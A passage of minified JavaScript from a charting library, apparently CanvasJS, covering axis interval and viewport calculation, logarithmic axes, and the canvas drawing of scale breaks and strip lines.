ortMinimum)&&!u(this.sessionVariables.newViewportMinimum)&&!
isNaN(this.sessionVariables.newViewportMinimum))this.viewportMinimum=this.sessionVa
riables.newViewportMinimum;else if(null===this.viewportMinimum||
isNaN(this.viewportMinimum))this.viewportMinimum=this.minimum;if(u(this.options.vie
wportMaximum)&&!u(this.sessionVariables.newViewportMaximum)&&!
isNaN(this.sessionVariables.newViewportMaximum))this.viewportMaximum=this.sessionVa
riables.newViewportMaximum;else if(null===this.viewportMaximum||
isNaN(this.viewportMaximum))this.viewportMaximum=this.maximum;if(this.scaleBreaks)f
or(c=0;c<this.scaleBreaks._appliedBreaks.length;c++)if((!
u(this.sessionVariables.newViewportMinimum)&&this.sessionVariables.newViewportMinim
um>=this.scaleBreaks._appliedBreaks[c].startValue||!
u(this.options.minimum)&&this.options.minimum>=this.scaleBreaks._appliedBreaks[c].s
tartValue||!
u(this.options.viewportMinimum)&&this.viewportMinimum>=this.scaleBreaks._appliedBre
aks[c].startValue)&&(!
u(this.sessionVariables.newViewportMaximum)&&this.sessionVariables.newViewportMaxim
um<=this.scaleBreaks._appliedBreaks[c].endValue||!
u(this.options.maximum)&&this.options.maximum<=this.scaleBreaks._appliedBreaks[c].e
ndValue||!
u(this.options.viewportMaximum)&&this.viewportMaximum<=this.scaleBreaks._appliedBre
aks[c].endValue))
{this.scaleBreaks._appliedBreaks.splice(c,1);break}if("axisX"===this.type)
{if(this.dataSeries&&0<this.dataSeries.length)for(e=0;e<this.dataSeries.length;e+
+)"dateTime"===this.dataSeries[e].xValueType&&(b=!0);e=null!==this.viewportMinimum?
this.viewportMinimum:this.dataInfo.viewPortMin;g=null!==this.viewportMaximum?
this.viewportMaximum:this.dataInfo.viewPortMax;0===g-e&&(c="undefined"===typeof
this.options.interval?0.4:this.options.interval,g+=c,e-=c);Infinity!
==this.dataInfo.minDiff?k=this.dataInfo.minDiff:1<g-e?k=0.5*Math.abs(g-e):
(k=1,b&&(d=!0))}else"axisY"===this.type&&(e=null!==this.viewportMinimum?
this.viewportMinimum:this.dataInfo.viewPortMin,g=null!==this.viewportMaximum?
this.viewportMaximum:this.dataInfo.viewPortMax,isFinite(e)||isFinite(g)?
isFinite(e)?isFinite(g)||(g=e):e=g:(g="undefined"===typeof this.options.interval?-
Infinity:this.options.interval,e="undefined"!==typeof this.options.interval||
isFinite(this.dataInfo.minDiff)?0:Infinity),0===e&&0===g?(g+=9,e=0):0===g-e?
(c=Math.min(Math.abs(0.01*Math.abs(g)),5),g+=c,e-=c):e>g?
(c=Math.min(0.01*Math.abs(this.getApparentDifference(g,e,null,!0)),5),0<=g?e=g-
c:g=isFinite(e)?e+c:0):
(c=Math.min(0.01*Math.abs(this.getApparentDifference(e,g,null,!0)),0.05),0!
==g&&(g+=c),0!==e&&(e-=c)),k=Infinity!==this.dataInfo.minDiff?
this.dataInfo.minDiff:1<g-e?0.5*Math.abs(g-
e):1,this.includeZero&&(null===this.viewportMinimum||
isNaN(this.viewportMinimum))&&0<e&&(e=0),this.includeZero&&(null===this.viewportMax
imum||
isNaN(this.viewportMaximum))&&0>g&&(g=0));c=this.getApparentDifference(isNaN(this.v
iewportMinimum)||null===this.viewportMinimum?
e:this.viewportMinimum,isNaN(this.viewportMaximum)||null===this.viewportMaximum?
g:this.viewportMaximum,null,!0);if("axisX"===this.type&&b){this.intervalType||
(c/1<=a?(this.interval=1,this.intervalType="millisecond"):c/2<=a?
(this.interval=2,this.intervalType="millisecond"):c/5<=a?
(this.interval=5,this.intervalType="millisecond"):c/10<=a?
(this.interval=10,this.intervalType="millisecond"):c/20<=a?
(this.interval=20,this.intervalType="millisecond"):c/50<=a?
(this.interval=50,this.intervalType="millisecond"):c/100<=a?
(this.interval=100,this.intervalType="millisecond"):c/200<=a?
(this.interval=200,this.intervalType="millisecond"):c/250<=a?
(this.interval=250,this.intervalType="millisecond"):c/300<=a?
(this.interval=300,this.intervalType="millisecond"):c/400<=a?
(this.interval=400,this.intervalType="millisecond"):c/500<=a?
(this.interval=500,this.intervalType="millisecond"):c/(1*S.secondDuration)<=a?
(this.interval=1,this.intervalType="second"):c/(2*S.secondDuration)<=a?
(this.interval=2,this.intervalType="second"):c/(5*S.secondDuration)<=a?
(this.interval=5,this.intervalType="second"):c/(10*S.secondDuration)<=a?
(this.interval=10,this.intervalType="second"):c/(15*S.secondDuration)<=a?
(this.interval=15,this.intervalType="second"):c/(20*S.secondDuration)<=a?
(this.interval=20,this.intervalType="second"):c/(30*S.secondDuration)<=a?
(this.interval=30,this.intervalType="second"):c/(1*S.minuteDuration)<=a?
(this.interval=1,this.intervalType="minute"):c/(2*S.minuteDuration)<=a?
(this.interval=2,this.intervalType="minute"):c/(5*S.minuteDuration)<=a?
(this.interval=5,this.intervalType="minute"):c/(10*S.minuteDuration)<=a?
(this.interval=10,this.intervalType="minute"):c/(15*S.minuteDuration)<=a?
(this.interval=15,this.intervalType="minute"):c/(20*S.minuteDuration)<=a?
(this.interval=20,this.intervalType="minute"):c/(30*S.minuteDuration)<=a?
(this.interval=30,this.intervalType="minute"):c/(1*S.hourDuration)<=a?
(this.interval=1,this.intervalType="hour"):c/(2*S.hourDuration)<=a?
(this.interval=2,this.intervalType="hour"):c/(3*S.hourDuration)<=a?
(this.interval=3,this.intervalType="hour"):c/(6*S.hourDuration)<=a?
(this.interval=6,this.intervalType="hour"):c/(1*S.dayDuration)<=a?
(this.interval=1,this.intervalType="day"):c/(2*S.dayDuration)<=a?
(this.interval=2,this.intervalType="day"):c/(4*S.dayDuration)<=a?
(this.interval=4,this.intervalType="day"):c/(1*S.weekDuration)<=a?
(this.interval=1,this.intervalType="week"):c/(2*S.weekDuration)<=a?
(this.interval=2,this.intervalType="week"):c/(3*S.weekDuration)<=a?
(this.interval=3,this.intervalType="week"):c/(1*S.monthDuration)<=a?
(this.interval=1,this.intervalType="month"):c/(2*S.monthDuration)<=a?
(this.interval=2,this.intervalType="month"):c/(3*S.monthDuration)<=a?
(this.interval=3,this.intervalType="month"):c/(6*S.monthDuration)<=a?
(this.interval=6,this.intervalType="month"):(this.interval=c/(1*S.yearDuration)<=a?
1:c/(2*S.yearDuration)<=a?2:c/(4*S.yearDuration)<=a?4:Math.floor(z.getNiceNumber(c/
(a-1),!
0)/S.yearDuration),this.intervalType="year"));if(null===this.viewportMinimum||
isNaN(this.viewportMinimum))this.viewportMinimum=e-
k/2;if(null===this.viewportMaximum||
isNaN(this.viewportMaximum))this.viewportMaximum=g+k/2;d?
this.autoValueFormatString="MMM DD YYYY HH:mm":"year"===this.intervalType?
this.autoValueFormatString="YYYY":"month"===this.intervalType?
this.autoValueFormatString="MMM YYYY":"week"===this.intervalType?
this.autoValueFormatString="MMM DD YYYY":"day"===this.intervalType?
this.autoValueFormatString="MMM DD YYYY":"hour"===this.intervalType?
this.autoValueFormatString="hh:mm TT":"minute"===this.intervalType?
this.autoValueFormatString="hh:mm
TT":"second"===this.intervalType?this.autoValueFormatString="hh:mm:ss
TT":"millisecond"===this.intervalType&&(this.autoValueFormatString="fff'ms'");this.
valueFormatString||
(this.valueFormatString=this.autoValueFormatString)}else{this.intervalType="number"
;c=z.getNiceNumber(c,!1);this.interval=this.options&&0<this.options.interval?
this.options.interval:z.getNiceNumber(c/(a-1),!0);if(null===this.viewportMinimum||
isNaN(this.viewportMinimum))this.viewportMinimum="axisX"===this.type?e-
k/2:Math.floor(e/this.interval)*this.interval;if(null===this.viewportMaximum||
isNaN(this.viewportMaximum))this.viewportMaximum="axisX"===this.type?
g+k/2:Math.ceil(g/this.interval)*this.interval;0===this.viewportMaximum&&0===this.v
iewportMinimum&&(0===this.options.viewportMinimum?
this.viewportMaximum+=10:0===this.options.viewportMaximum&&(this.viewportMinimum-
=10),this.options&&"undefined"===typeof
this.options.interval&&(this.interval=z.getNiceNumber((this.viewportMaximum-
this.viewportMinimum)/(a-1),!0)))}if(null===this.minimum||
null===this.maximum)if("axisX"===this.type?(e=null!==this.minimum?
this.minimum:this.dataInfo.min,g=null!==this.maximum?
this.maximum:this.dataInfo.max,0===g-e&&(c="undefined"===typeof
this.options.interval?0.4:this.options.interval,g+=c,e-=c),k=Infinity!
==this.dataInfo.minDiff?this.dataInfo.minDiff:1<g-e?0.5*Math.abs(g-
e):1):"axisY"===this.type&&(e=null!==this.minimum?
this.minimum:this.dataInfo.min,g=null!==this.maximum?
this.maximum:this.dataInfo.max,isFinite(e)||isFinite(g)?0===e&&0===g?
(g+=9,e=0):0===g-e?(c=Math.min(Math.abs(0.01*Math.abs(g)),5),g+=c,e-=c):e>g?
(c=Math.min(0.01*Math.abs(this.getApparentDifference(g,e,null,!0)),5),0<=g?e=g-
c:g=isFinite(e)?e+c:0):
(c=Math.min(0.01*Math.abs(this.getApparentDifference(e,g,null,!0)),0.05),0!
==g&&(g+=c),0!==e&&(e-=c)):(g="undefined"===typeof this.options.interval?-
Infinity:this.options.interval,e="undefined"!==typeof this.options.interval||
isFinite(this.dataInfo.minDiff)?0:Infinity),k=Infinity!==this.dataInfo.minDiff?
this.dataInfo.minDiff:1<g-e?0.5*Math.abs(g-
e):1,this.includeZero&&(null===this.minimum||
isNaN(this.minimum))&&0<e&&(e=0),this.includeZero&&(null===this.maximum||
isNaN(this.maximum))&&0>g&&(g=0)),Math.abs(this.getApparentDifference(e,g,null,!
0)),"axisX"===this.type&&b){this.valueType="dateTime";if(null===this.minimum||
isNaN(this.minimum))this.minimum=e-k/2;if(null===this.maximum||
isNaN(this.maximum))this.maximum=g+k/2}else
this.intervalType=this.valueType="number",null===this.minimum&&(this.minimum="axisX
"===this.type?e-
k/2:Math.floor(e/this.interval)*this.interval,this.minimum=Math.min(this.minimum,nu
ll===this.sessionVariables.viewportMinimum||
isNaN(this.sessionVariables.viewportMinimum)?
Infinity:this.sessionVariables.viewportMinimum)),null===this.maximum&&(this.maximum
="axisX"===this.type?
g+k/2:Math.ceil(g/this.interval)*this.interval,this.maximum=Math.max(this.maximum,n
ull===this.sessionVariables.viewportMaximum||
isNaN(this.sessionVariables.viewportMaximum)?-
Infinity:this.sessionVariables.viewportMaximum)),0===this.maximum&&0===this.minimum
&&(0===this.options.minimum?
this.maximum+=10:0===this.options.maximum&&(this.minimum-
=10));u(this.sessionVariables.newViewportMinimum)&&(this.viewportMinimum=Math.max(t
his.viewportMinimum,this.minimum));u(this.sessionVariables.newViewportMaximum)&&(th
is.viewportMaximum=Math.min(this.viewportMaximum,this.maximum));this.range=this.vie
wportMaximum-
this.viewportMinimum;this.intervalStartPosition="axisX"===this.type&&b?
this.getLabelStartPoint(new
Date(this.viewportMinimum),this.intervalType,this.interval):Math.floor((this.viewpo
rtMinimum+0.2*this.interval)/this.interval)*this.interval;this.valueFormatString||
(this.valueFormatString=z.generateValueFormatString(this.range,2))}};z.prototype.ca
lculateLogarithmicAxisParameters=function(){var
a=this.chart.layoutManager.getFreeSpace(),d=Math.log(this.logarithmBase),b;"bottom"
===this._position||"top"===this._position?
(this.maxWidth=a.width,this.maxHeight=a.height):
(this.maxWidth=a.height,this.maxHeight=a.width);var a="axisX"===this.type?
500>this.maxWidth?
7:Math.max(7,Math.floor(this.maxWidth/100)):Math.max(Math.floor(this.maxWidth/50),3
),c,e,g,k;k=1;if(null===this.viewportMinimum||
isNaN(this.viewportMinimum))this.viewportMinimum=this.minimum;if(null===this.viewpo
rtMaximum||
isNaN(this.viewportMaximum))this.viewportMaximum=this.maximum;if(this.scaleBreaks)f
or(k=0;k<this.scaleBreaks._appliedBreaks.length;k++)if((!
u(this.sessionVariables.newViewportMinimum)&&this.sessionVariables.newViewportMinim
um>=this.scaleBreaks._appliedBreaks[k].startValue||!
u(this.options.minimum)&&this.options.minimum>=this.scaleBreaks._appliedBreaks[k].s
tartValue||!
u(this.options.viewportMinimum)&&this.viewportMinimum>=this.scaleBreaks._appliedBre
aks[k].startValue)&&(!
u(this.sessionVariables.newViewportMaximum)&&this.sessionVariables.newViewportMaxim
um<=this.scaleBreaks._appliedBreaks[k].endValue||!
u(this.options.maximum)&&this.options.maximum<=this.scaleBreaks._appliedBreaks[k].e
ndValue||!
u(this.options.viewportMaximum)&&this.viewportMaximum<=this.scaleBreaks._appliedBre
aks[k].endValue))
{this.scaleBreaks._appliedBreaks.splice(k,1);break}"axisX"===this.type?(c=null!
==this.viewportMinimum?this.viewportMinimum:this.dataInfo.viewPortMin,e=null!
==this.viewportMaximum?
this.viewportMaximum:this.dataInfo.viewPortMax,1===e/c&&(k=Math.pow(this.logarithmB
ase,"undefined"===typeof this.options.interval?
0.4:this.options.interval),e*=k,c/=k),g=Infinity!==this.dataInfo.minDiff?
this.dataInfo.minDiff:e/c>this.logarithmBase?
e/c*Math.pow(this.logarithmBase,0.5):this.logarithmBase):"axisY"===this.type&&(c=nu
ll!==this.viewportMinimum?this.viewportMinimum:this.dataInfo.viewPortMin,e=null!
==this.viewportMaximum?this.viewportMaximum:this.dataInfo.viewPortMax,0>=c&&!
isFinite(e)?(e="undefined"===typeof this.options.interval?
0:this.options.interval,c=1):0>=c?c=e:isFinite(e)||(e=c),1===c&&1===e?
(e*=this.logarithmBase-1/this.logarithmBase,c=1):1===e/c?
(k=Math.min(e*Math.pow(this.logarithmBase,0.01),Math.pow(this.logarithmBase,5)),e*=
k,c/=k):c>e?
(k=Math.min(c/e*Math.pow(this.logarithmBase,0.01),Math.pow(this.logarithmBase,5)),1
<=e?c=e/k:e=c*k):
(k=Math.min(e/c*Math.pow(this.logarithmBase,0.01),Math.pow(this.logarithmBase,0.04)
),1!==e&&(e*=k),1!==c&&(c/=k)),g=Infinity!==this.dataInfo.minDiff?
this.dataInfo.minDiff:e/c>this.logarithmBase?
e/c*Math.pow(this.logarithmBase,0.5):this.logarithmBase,this.includeZero&&(null===t
his.viewportMinimum||
isNaN(this.viewportMinimum))&&1<c&&(c=1),this.includeZero&&(null===this.viewportMax
imum||isNaN(this.viewportMaximum))&&1>e&&(e=1));k=(isNaN(this.viewportMaximum)||
null===this.viewportMaximum?e:this.viewportMaximum)/(isNaN(this.viewportMinimum)||
null===this.viewportMinimum?c:this.viewportMinimum);var
l=(isNaN(this.viewportMaximum)||null===this.viewportMaximum?
e:this.viewportMaximum)-(isNaN(this.viewportMinimum)||null===this.viewportMinimum?
c:this.viewportMinimum);this.intervalType="number";k=Math.pow(this.logarithmBase,z.
getNiceNumber(Math.abs(Math.log(k)/d),!1));this.options&&0<this.options.interval?
this.interval=this.options.interval:(this.interval=z.getNiceExponent(Math.log(k)/d/
(a-1),!0),b=z.getNiceNumber(l/(a-1),!0));if(null===this.viewportMinimum||
isNaN(this.viewportMinimum))this.viewportMinimum="axisX"===this.type?
c/Math.sqrt(g):Math.pow(this.logarithmBase,this.interval*Math.floor(Math.log(c)/d/t
his.interval));if(null===this.viewportMaximum||
isNaN(this.viewportMaximum))this.viewportMaximum="axisX"===this.type?
e*Math.sqrt(g):Math.pow(this.logarithmBase,this.interval*Math.ceil(Math.log(e)/d/th
is.interval));1===this.viewportMaximum&&1===this.viewportMinimum&&(1===this.options
.viewportMinimum?this.viewportMaximum*=this.logarithmBase-
1/this.logarithmBase:1===this.options.viewportMaximum&&(this.viewportMinimum/=this.
logarithmBase-1/this.logarithmBase),this.options&&"undefined"===typeof
this.options.interval&&(this.interval=z.getNiceExponent(Math.ceil(Math.log(k)/d)/
(a-1)),b=z.getNiceNumber((this.viewportMaximum-this.viewportMinimum)/(a-1),!
0)));if(null===this.minimum||null===this.maximum)"axisX"===this.type?(c=null!
==this.minimum?this.minimum:this.dataInfo.min,e=null!==this.maximum?
this.maximum:this.dataInfo.max,1===e/c&&(k=Math.pow(this.logarithmBase,"undefined"=
==typeof this.options.interval?0.4:this.options.interval),e*=k,c/=k),g=Infinity!
==this.dataInfo.minDiff?this.dataInfo.minDiff:e/c>this.logarithmBase?
e/c*Math.pow(this.logarithmBase,0.5):this.logarithmBase):"axisY"===this.type&&(c=nu
ll!==this.minimum?this.minimum:this.dataInfo.min,e=null!==this.maximum?
this.maximum:this.dataInfo.max,isFinite(c)||isFinite(e)?1===c&&1===e?
(e*=this.logarithmBase,c/=this.logarithmBase):1===e/c?
(k=Math.pow(this.logarithmBase,this.interval),e*=k,c/=k):c>e?
(k=Math.min(0.01*(c/e),5),1<=e?c=e/k:e=c*k):
(k=Math.min(e/c*Math.pow(this.logarithmBase,0.01),Math.pow(this.logarithmBase,0.04)
),1!==e&&(e*=k),1!==c&&(c/=k)):(e="undefined"===typeof this.options.interval?
0:this.options.interval,c=1),g=Infinity!==this.dataInfo.minDiff?
this.dataInfo.minDiff:e/c>this.logarithmBase?
e/c*Math.pow(this.logarithmBase,0.5):this.logarithmBase,this.includeZero&&(null===t
his.minimum||
isNaN(this.minimum))&&1<c&&(c=1),this.includeZero&&(null===this.maximum||
isNaN(this.maximum))&&1>e&&(e=1)),this.intervalType="number",null===this.minimum&&(
this.minimum="axisX"===this.type?
c/Math.sqrt(g):Math.pow(this.logarithmBase,this.interval*Math.floor(Math.log(c)/d/t
his.interval)),this.minimum=Math.min(this.minimum,null===this.sessionVariables.view
portMinimum||isNaN(this.sessionVariables.viewportMinimum)?"undefined"===typeof
this.sessionVariables.newViewportMinimum?
Infinity:this.sessionVariables.newViewportMinimum:this.sessionVariables.viewportMin
imum)),null===this.maximum&&(this.maximum="axisX"===this.type?
e*Math.sqrt(g):Math.pow(this.logarithmBase,this.interval*Math.ceil(Math.log(e)/d/th
is.interval)),this.maximum=Math.max(this.maximum,null===this.sessionVariables.viewp
ortMaximum||isNaN(this.sessionVariables.viewportMaximum)?"undefined"===typeof
this.sessionVariables.newViewportMaximum?
0:this.sessionVariables.newViewportMaximum:this.sessionVariables.viewportMaximum)),
1===this.maximum&&1===this.minimum&&(1===this.options.minimum?
this.maximum*=this.logarithmBase-
1/this.logarithmBase:1===this.options.maximum&&(this.minimum/=this.logarithmBase-
1/this.logarithmBase));this.viewportMinimum=Math.max(this.viewportMinimum,this.mini
mum);this.viewportMaximum=Math.min(this.viewportMaximum,this.maximum);this.viewport
Minimum>this.viewportMaximum&&(!this.options.viewportMinimum&&!
this.options.minimum||this.options.viewportMaximum||this.options.maximum?
this.options.viewportMinimum||this.options.minimum||!
this.options.viewportMaximum&&!this.options.maximum||
(this.viewportMinimum=this.minimum=(this.options.viewportMaximum||
this.options.maximum)/Math.pow(this.logarithmBase,2*Math.ceil(this.interval))):this
.viewportMaximum=this.maximum=this.options.viewportMinimum||
this.options.minimum);c=Math.pow(this.logarithmBase,Math.floor(Math.log(this.viewpo
rtMinimum)/(d*this.interval)
+0.2)*this.interval);this.range=this.viewportMaximum/this.viewportMinimum;this.noTi
cks=a;if(!
this.options.interval&&this.range<Math.pow(this.logarithmBase,8>this.viewportMaximu
m||3>a?2:3))
{for(d=Math.floor(this.viewportMinimum/b+0.5)*b;d<this.viewportMinimum;)d+=b;this.e
quidistantInterval=!1;this.intervalStartPosition=d;this.interval=b}else
this.options.interval||
(b=Math.ceil(this.interval),this.range>this.interval&&(this.interval=b,c=Math.pow(t
his.logarithmBase,Math.floor(Math.log(this.viewportMinimum)/(d*this.interval)
+0.2)*this.interval))),this.equidistantInterval=!
0,this.intervalStartPosition=c;if(!
this.valueFormatString&&(this.valueFormatString="#,##0.##",1>this.viewportMinimum))
{d=Math.floor(Math.abs(Math.log(this.viewportMinimum)/Math.LN10))+2;if(isNaN(d)||!
isFinite(d))d=2;if(2<d)for(k=0;k<d-2;k+
+)this.valueFormatString+="#"}};z.generateValueFormatString=function(a,d){var
b="#,##0.",c=d;1>a&&(c+=Math.floor(Math.abs(Math.log(a)/Math.LN10)),isNaN(c)||!
isFinite(c))&&(c=d);for(var e=0;e<c;e++)b+="#";return
b};z.getNiceExponent=function(a,d){var
b=Math.floor(Math.log(a)/Math.LN10),c=a/Math.pow(10,b),c=0>b?1>=c?1:5>=c?
5:10:Math.max(Math.floor(c),1);return-20>b?
Number(c*Math.pow(10,b)):Number((c*Math.pow(10,b)).toFixed(20))};z.getNiceNumber=fu
nction(a,d){var b=Math.floor(Math.log(a)/Math.LN10),c=a/Math.pow(10,b),c=d?1.5>c?
1:3>c?2:7>c?5:10:1>=c?1:2>=c?2:5>=c?5:10;return-20>b?
Number(c*Math.pow(10,b)):Number((c*Math.pow(10,b)).toFixed(20))};z.prototype.getLab
elStartPoint=function(){var a=S[this.intervalType+"Duration"]*this.interval,a=new
Date(Math.floor(this.viewportMinimum/a)*a);if("millisecond"!
==this.intervalType)if("second"===this.intervalType)0<a.getMilliseconds()&&(a.setSe
conds(a.getSeconds()+1),a.setMilliseconds(0));else if("minute"===this.intervalType)
{if(0<a.getSeconds()||0<a.getMilliseconds())a.setMinutes(a.getMinutes()
+1),a.setSeconds(0),a.setMilliseconds(0)}else if("hour"===this.intervalType)
{if(0<a.getMinutes()||0<a.getSeconds()||
0<a.getMilliseconds())a.setHours(a.getHours()
+1),a.setMinutes(0),a.setSeconds(0),a.setMilliseconds(0)}else
if("day"===this.intervalType){if(0<a.getHours()||0<a.getMinutes()||
0<a.getSeconds()||0<a.getMilliseconds())a.setDate(a.getDate()
+1),a.setHours(0),a.setMinutes(0),a.setSeconds(0),a.setMilliseconds(0)}else
if("week"===this.intervalType){if(0<a.getDay()||0<a.getHours()||0<a.getMinutes()||
0<a.getSeconds()||0<a.getMilliseconds())a.setDate(a.getDate()+(7-
a.getDay())),a.setHours(0),a.setMinutes(0),a.setSeconds(0),a.setMilliseconds(0)}els
e if("month"===this.intervalType){if(1<a.getDate()||0<a.getHours()||
0<a.getMinutes()||0<a.getSeconds()||0<a.getMilliseconds())a.setMonth(a.getMonth()
+1),a.setDate(1),a.setHours(0),a.setMinutes(0),a.setSeconds(0),a.setMilliseconds(0)
}else"year"===this.intervalType&&(0<a.getMonth()||1<a.getDate()||0<a.getHours()||
0<a.getMinutes()||0<a.getSeconds()||
0<a.getMilliseconds())&&(a.setFullYear(a.getFullYear()
+1),a.setMonth(0),a.setDate(1),a.setHours(0),a.setMinutes(0),a.setSeconds(0),a.setM
illiseconds(0));return a};qa(Q,V);qa(L,V);L.prototype.createUserOptions=function(a)
{if("undefined"!==typeof a||this.options._isPlaceholder){var
d=0;this.parent.options._isPlaceholder&&this.parent.createUserOptions();this.option
s._isPlaceholder||
(Fa(this.parent[this.optionsName]),d=this.parent.options[this.optionsName].indexOf(
this.options));this.options="undefined"===typeof a?
{}:a;this.parent.options[this.optionsName]
[d]=this.options}};L.prototype.render=function(a){if(0!==this.spacing||0!
==this.options.lineThickness&&("undefined"!==typeof this.options.lineThickness||0!
==this.parent.lineThickness)){var d=this.ctx,b=this.ctx.globalAlpha;this.ctx=a||
this.ctx;this.ctx.save();this.ctx.beginPath();this.ctx.rect(this.chart.plotArea.x1,
this.chart.plotArea.y1,this.chart.plotArea.width,this.chart.plotArea.height);this.c
tx.clip();var
c=this.scaleBreaks.parent.getPixelCoordinatesOnAxis(this.startValue),e=this.scaleBr
eaks.parent.getPixelCoordinatesOnAxis(this.endValue);this.ctx.strokeStyle=this.line
Color;this.ctx.fillStyle=this.color;this.ctx.beginPath();this.ctx.globalAlpha=1;N(t
his.id);var g,k,l,h,m,p;a=Math.max(this.spacing,3);var
q=Math.max(0,this.lineThickness);this.ctx.lineWidth=q;this.ctx.setLineDash&&this.ct
x.setLineDash(R(this.lineDashType,q));if("bottom"===this.scaleBreaks.parent._positi
on||"top"===this.scaleBreaks.parent._position)if(c=1===q%2?
(c.x<<0)+0.5:c.x<<0,k=1===q%2?
(e.x<<0)+0.5:e.x<<0,"top"===this.scaleBreaks.parent._position?
(e=this.chart.plotArea.y1,l=this.chart.plotArea.y2+q/2+0.5<<0):
(e=this.chart.plotArea.y2,l=this.chart.plotArea.y1-q/2+0.5<<0,a*=-
1),this.bounds={x1:c-
q/2,y1:e,x2:k+q/2,y2:l},this.ctx.moveTo(c,e),"straight"===this.type||"top"===this.s
caleBreaks.parent._position&&0>=a||"bottom"===this.scaleBreaks.parent._position&&0<
=a)this.ctx.lineTo(c,l),this.ctx.lineTo(k,l),this.ctx.lineTo(k,e);else
if("wavy"===this.type){h=c;m=e;g=0.5;p=(l-m)/a/3;for(var n=0;n<p;n+
+)this.ctx.bezierCurveTo(h+g*a,m+a,h+g*a,m+2*a,h,m+3*a),m+=3*a,g*=-
1;this.ctx.bezierCurveTo(h+g*a,m+a,h+g*a,m+2*a,h,m+3*a);h=k;g*=-
1;this.ctx.lineTo(h,m);for(n=0;n<p;n++)this.ctx.bezierCurveTo(h+g*a,m-a,h+g*a,m-
2*a,h,m-3*a),m-=3*a,g*=-1}else{if("zigzag"===this.type){g=-1;m=e+a;h=c+a;p=(l-
m)/a/2;for(n=0;n<p;n++)this.ctx.lineTo(h,m),h+=2*g*a,m+=2*a,g*=-
1;this.ctx.lineTo(h,m);h+=k-c;for(n=0;n<p+1;n++)this.ctx.lineTo(h,m),h+=2*g*a,m-
=2*a,g*=-1;this.ctx.lineTo(h+g*a,m+a)}}else
if("left"===this.scaleBreaks.parent._position||"right"===this.scaleBreaks.parent._p
osition)if(e=1===q%2?(e.y<<0)+0.5:e.y<<0,l=1===q%2?
(c.y<<0)+0.5:c.y<<0,"left"===this.scaleBreaks.parent._position?
(c=this.chart.plotArea.x1,k=this.chart.plotArea.x2+q/2+0.5<<0):
(c=this.chart.plotArea.x2,k=this.chart.plotArea.x1-q/2+0.5<<0,a*=-
1),this.bounds={x1:c,y1:e-
q/2,x2:k,y2:l+q/2},this.ctx.moveTo(c,e),"straight"===this.type||"left"===this.scale
Breaks.parent._position&&0>=a||"right"===this.scaleBreaks.parent._position&&0<=a)th
is.ctx.lineTo(k,e),this.ctx.lineTo(k,l),this.ctx.lineTo(c,l);else
if("wavy"===this.type){h=c;m=e;g=0.5;p=(k-h)/a/3;for(n=0;n<p;n+
+)this.ctx.bezierCurveTo(h+a,m+g*a,h+2*a,m+g*a,h+3*a,m),h+=3*a,g*=-
1;this.ctx.bezierCurveTo(h+a,m+g*a,h+2*a,m+g*a,h+3*a,m);m=l;g*=-
1;this.ctx.lineTo(h,m);for(n=0;n<p;n++)this.ctx.bezierCurveTo(h-a,m+g*a,h-
2*a,m+g*a,h-3*a,m),h-=3*a,g*=-1}else if("zigzag"===this.type){g=1;m=e-a;h=c+a;p=(k-
h)/a/2;for(n=0;n<p;n++)this.ctx.lineTo(h,m),m+=2*g*a,h+=2*a,g*=-
1;this.ctx.lineTo(h,m);m+=l-e;for(n=0;n<p+1;n++)this.ctx.lineTo(h,m),m+=2*g*a,h-
=2*a,g*=-
1;this.ctx.lineTo(h+a,m+g*a)}0<q&&this.ctx.stroke();this.ctx.closePath();this.ctx.g
lobalAlpha=this.fillOpacity;this.ctx.globalCompositeOperation="destination-
over";this.ctx.fill();this.ctx.restore();this.ctx.globalAlpha=b;this.ctx=d}};qa(X,V
);X.prototype.createUserOptions=function(a){if("undefined"!==typeof a||
this.options._isPlaceholder){var
d=0;this.parent.options._isPlaceholder&&this.parent.createUserOptions();this.option
s._isPlaceholder||
(Fa(this.parent.stripLines),d=this.parent.options.stripLines.indexOf(this.options))
;this.options="undefined"===typeof a?
{}:a;this.parent.options.stripLines[d]=this.options}};X.prototype.render=function()
{this.ctx.save();var
a=this.parent.getPixelCoordinatesOnAxis(this.value),d=Math.abs("pixel"===this._thic
knessType?
this.thickness:this.parent.conversionParameters.pixelPerUnit*this.thickness);if(0<d
){var b=null===this.opacity?
1:this.opacity;this.ctx.strokeStyle=this.color;this.ctx.beginPath();var
c=this.ctx.globalAlpha;this.ctx.globalAlpha=b;N(this.id);var
e,g,k,l;this.ctx.lineWidth=d;this.ctx.setLineDash&&this.ctx.setLineDash(R(this.line
DashType,d));if("bottom"===this.parent._position||"top"===this.parent._position)e=g
=1===this.ctx.lineWidth%2?
(a.x<<0)+0.5:a.x<<0,k=this.chart.plotArea.y1,l=this.chart.plotArea.y2,this.bounds={
x1:e-d/2,y1:k,x2:g+d/2,y2:l};else
if("left"===this.parent._position||"right"===this.parent._position)k=l=1===this.ctx
.lineWidth%2?
(a.y<<0)+0.5:a.y<<0,e=this.chart.plotArea.x1,g=this.chart.plotArea.x2,this.bounds={
x1:e,y1:k-
d/2,x2:g,y2:l+d/2};this.ctx.moveTo(e,k);this.ctx.lineTo(g,l);this.ctx.stroke();this
.ctx.globalAlpha=c}this.ctx.restore()};qa(fa,V);fa.prototype.render=function(a,d)
{var b,c,e,g,k=null,l=k=null,h="";if(!
this.valueFormatString)if("dateTime"===this.parent.valueType)this.valueFormatString
=this.parent.valueFormatString;else{var
m=0,m="xySwapped"===this.chart.plotInfo.axisPlacement?50<this.parent.range?
0:500<this.chart.width&&25>this.parent.range?
2:Math.floor(Math.abs(Math.log(this.parent.range)/Math.LN10))+(5>this.parent.range?
2:10>this.parent.range?1:0):50<this.parent.range?
0:Math.floor(Math.abs(Math.log(this.parent.range)/Math.LN10))+(5>this.parent.range?
2:10>this.parent.range?
1:0);this.valueFormatString=z.generateValueFormatString(this.parent.range,m)}var
l=null===this.opacity?1:this.opacity,m=Math.abs("pixel"===this._thicknessType?
this.thickness:this.parent.conversionParameters.pixelPerUnit*this.thickness),p=this
.chart.overlaidCanvasCtx,q=p.globalAlpha;p.globalAlpha=l;p.beg
inPath();p.strokeStyle=this.color;p.lineWidth=m;p.save();this.labelFontSize=u(this.
options.labelFontSize)?
this.parent.labelFontSize:this.labelFontSize;if("left"===this.parent._position||"ri
ght"===this.parent._position)this.labelMaxWidth=u(this.options.labelMaxWidth)?
this.parent.bounds.x2-
this.parent.bounds.x1:this.labelMaxWidth,this.labelMaxHeight=u(this.options.labelWr
ap)||this.labelWrap?3*this.chart.height:2*this.labelFontSize;else
if("top"===this.parent._position||"bottom"===this.parent._position)this.labelMaxWid
